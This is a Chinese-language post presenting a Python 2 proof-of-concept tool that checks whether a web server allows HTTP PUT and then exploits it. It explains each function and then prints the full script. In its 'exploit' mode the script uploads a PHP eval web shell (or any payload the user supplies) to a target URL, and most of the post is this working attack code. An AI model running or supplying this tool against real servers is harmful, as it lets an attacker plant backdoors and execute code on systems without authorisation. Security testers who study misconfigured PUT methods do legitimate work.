环境

Python 2.7 
	requests
	sys
Windows 7
Apache 已完成put配置。
PHP

Apache PUT配置

简单介绍一下源码,增加易读性。

POC入口函数,设置默认变量,接受和判断用户输入参数是否合法,调用探测是否存在不安全的HTTP方法函数Test2Option(url,YN),接受返回所支持的方法,调用PUT方法上传文件。

def main():
	if len(sys.argv) < 2 :
		print u'''
	Version:1.0
	请输入将要验证的URL(eg:Put2Poc.py http://test.com)
	Put2Poc.py arg1 arg2
	arg1:目标URL
	arg2: 选择(1)验证OR(2)利用(默认为验证)
	arg3: 选择上传文件的目录,默认为/(eg:/test/)
	arg4: 设置长传的文件的文件名,默认为test.html
	arg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)
	注:当前版本仅支持PHP语言的利用'''
		sys.exit()
	if len(sys.argv) >= 2 :
		url = sys.argv[1]
		YN = 1
		path = '/'
		filename = 'test.html' 
		content = None
		# print url
		if 'http' not in url :
			print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
			sys.exit()
		if len(sys.argv) >= 3 :
			# print type(sys.argv[2])
			if sys.argv[2] in '2' :
				filename = 'test.php'
			if sys.argv[2] not in ['1','2'] :
				print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'
				sys.exit()
			YN = sys.argv[2]
		if len(sys.argv) >= 4 :
			path = sys.argv[3]
		if len(sys.argv) >= 5 :
			filename = sys.argv[4]
		if len(sys.argv) >= 6 :
			content = sys.argv[5]
	if len(sys.argv) > 6 :
		print u'请检查参数设置'
		sys.exit()
	r_options = Test2Option(url,YN)
	if content is not None :
		Put2File(url,YN,r_options,path,filename,content)
	else:
		Put2File(url,YN,r_options,path,filename)
	# print r_options

Error2status(code) 判断请求的返回状态。

参数 code : 请求返回的状态码
def Error2status(code):
	if 400 <= code < 500:
		return 4
	if 500 <= code < 600 :
		return 5
	if 200 <= code < 400 :
		return True

Test2Option(url,YN)探测目标URL是否支持OPTIONS方法

参数 url : 请求的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
def Test2Option(url,YN):
	try:
		r = requests.options(url,verify=False,timeout=10)
	except :
		print u'Error,请检查链接是否可以访问'
		sys.exit()
	r_options = r.headers
	r_status_code = Error2status(r.status_code)
	if r_status_code == 4 :
		print u'%s Client Error for url: %s' % (r.status_code,url)
		print u'该链接不支持OPTIONS方法'
		sys.exit()
	if r_status_code == 5 :
		print u'%s Server Error for url: %s' % (r.status_code,url)
		print u'请检查链接是否可以访问'
		sys.exit()
	if r_status_code is True :
		print u'该链接存在不安全的HTTP方法'
		print r_options['Allow']
		return r_options['Allow']

Put2File(url,YN,r_options,path,filename,content=None)

参数 url : 测试的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
参数 r_options : 网站所支持的HTTP请求方法。
参数 path : 文件上传位置
参数 filename : 文件名
参数 content : 自定义文件内容。
def Put2File(url,YN,r_options,path,filename,content=None):
	url = url.rstrip('/') + path + filename
	print url
	headers = {
	'Accept': '*/*',
	'Accept-Language': 'en-US',
	'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'	
	}
	data = '<script>alert(1)</script>'
	if YN is '2':
		data = '<?php @eval($_POST[1]) ?>'
		if content is not None :
			data = content
	r = requests.put(url,headers=headers,data=data)
	r_status_code = Error2status(r.status_code)
	if r_status_code == 4 :
		print u'%s Client Error for url: %s' % (r.status_code,url)
		print u'服务器禁止上传文件'
	if r_status_code == 5 :
		print u'%s Server Error for url: %s' % (r.status_code,url)
		print u'服务器禁止上传文件'
	if r_status_code is True :
		print u'Server status code: %s' %(r.status_code)
		print u'服务器支持PUT文件上传'
		print u'文件名: %s' %(filename)
		print u'文件内容: %s' %(data)
		print u'文件长传位置为: %s' %(path)
		print u'文件链接: %s' %(url)
		print r.content

POC

#/usr/bin/env python
#coding:utf-8
#
#Author:nw01f
#Date:2018.01.11
#Version:1.0
#

import requests
import sys

def Error2status(code):
	if 400 <= code < 500:
		return 4
	if 500 <= code < 600 :
		return 5
	if 200 <= code < 400 :
		return True

def Test2Option(url,YN):
	try:
		r = requests.options(url,verify=False,timeout=10)
	except :
		print u'Error,请检查链接是否可以访问'
		sys.exit()
	r_options = r.headers
	r_status_code = Error2status(r.status_code)
	if r_status_code == 4 :
		print u'%s Client Error for url: %s' % (r.status_code,url)
		print u'该链接不支持OPTIONS方法'
		sys.exit()
	if r_status_code == 5 :
		print u'%s Server Error for url: %s' % (r.status_code,url)
		print u'请检查链接是否可以访问'
		sys.exit()
	if r_status_code is True :
		print u'该链接存在不安全的HTTP方法'
		print r_options['Allow']
		return r_options['Allow']

def Put2File(url,YN,r_options,path,filename,content=None):
	url = url.rstrip('/') + path + filename
	print url
	headers = {
	'Accept': '*/*',
	'Accept-Language': 'en-US',
	'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'	
	}
	data = '<script>alert(1)</script>'
	if YN is '2':
		data = '<?php @eval($_POST[1]) ?>'
		if content is not None :
			data = content
	r = requests.put(url,headers=headers,data=data)
	r_status_code = Error2status(r.status_code)
	if r_status_code == 4 :
		print u'%s Client Error for url: %s' % (r.status_code,url)
		print u'服务器禁止上传文件'
	if r_status_code == 5 :
		print u'%s Server Error for url: %s' % (r.status_code,url)
		print u'服务器禁止上传文件'
	if r_status_code is True :
		print u'Server status code: %s' %(r.status_code)
		print u'服务器支持PUT文件上传'
		print u'文件名: %s' %(filename)
		print u'文件内容: %s' %(data)
		print u'文件长传位置为: %s' %(path)
		print u'文件链接: %s' %(url)
		print r.content
	

def main():
	if len(sys.argv) < 2 :
		print u'''
	Version:1.0
	请输入将要验证的URL(eg:Put2Poc.py http://test.com)
	Put2Poc.py arg1 arg2
	arg1:目标URL
	arg2: 选择(1)验证OR(2)利用(默认为验证)
	arg3: 选择上传文件的目录,默认为/(eg:/test/)
	arg4: 设置长传的文件的文件名,默认为test.html
	arg5:设置特定的利用payload(默认漏洞利用为:<?php @eval($_POST[1]) ?>)
	注:当前版本仅支持PHP语言的利用'''
		sys.exit()
	if len(sys.argv) >= 2 :
		url = sys.argv[1]
		YN = 1
		path = '/'
		filename = 'test.html' 
		content = None
		# print url
		if 'http' not in url :
			print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
			sys.exit()
		if len(sys.argv) >= 3 :
			# print type(sys.argv[2])
			if sys.argv[2] in '2' :
				filename = 'test.php'
			if sys.argv[2] not in ['1','2'] :
				print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'
				sys.exit()
			YN = sys.argv[2]
		if len(sys.argv) >= 4 :
			path = sys.argv[3]
		if len(sys.argv) >= 5 :
			filename = sys.argv[4]
		if len(sys.argv) >= 6 :
			content = sys.argv[5]
	if len(sys.argv) > 6 :
		print u'请检查参数设置'
		sys.exit()
	r_options = Test2Option(url,YN)
	if content is not None :
		Put2File(url,YN,r_options,path,filename,content)
	else:
		Put2File(url,YN,r_options,path,filename)
	# print r_options

if __name__ == '__main__':
	main()

注:欢迎指正和提出修改意见。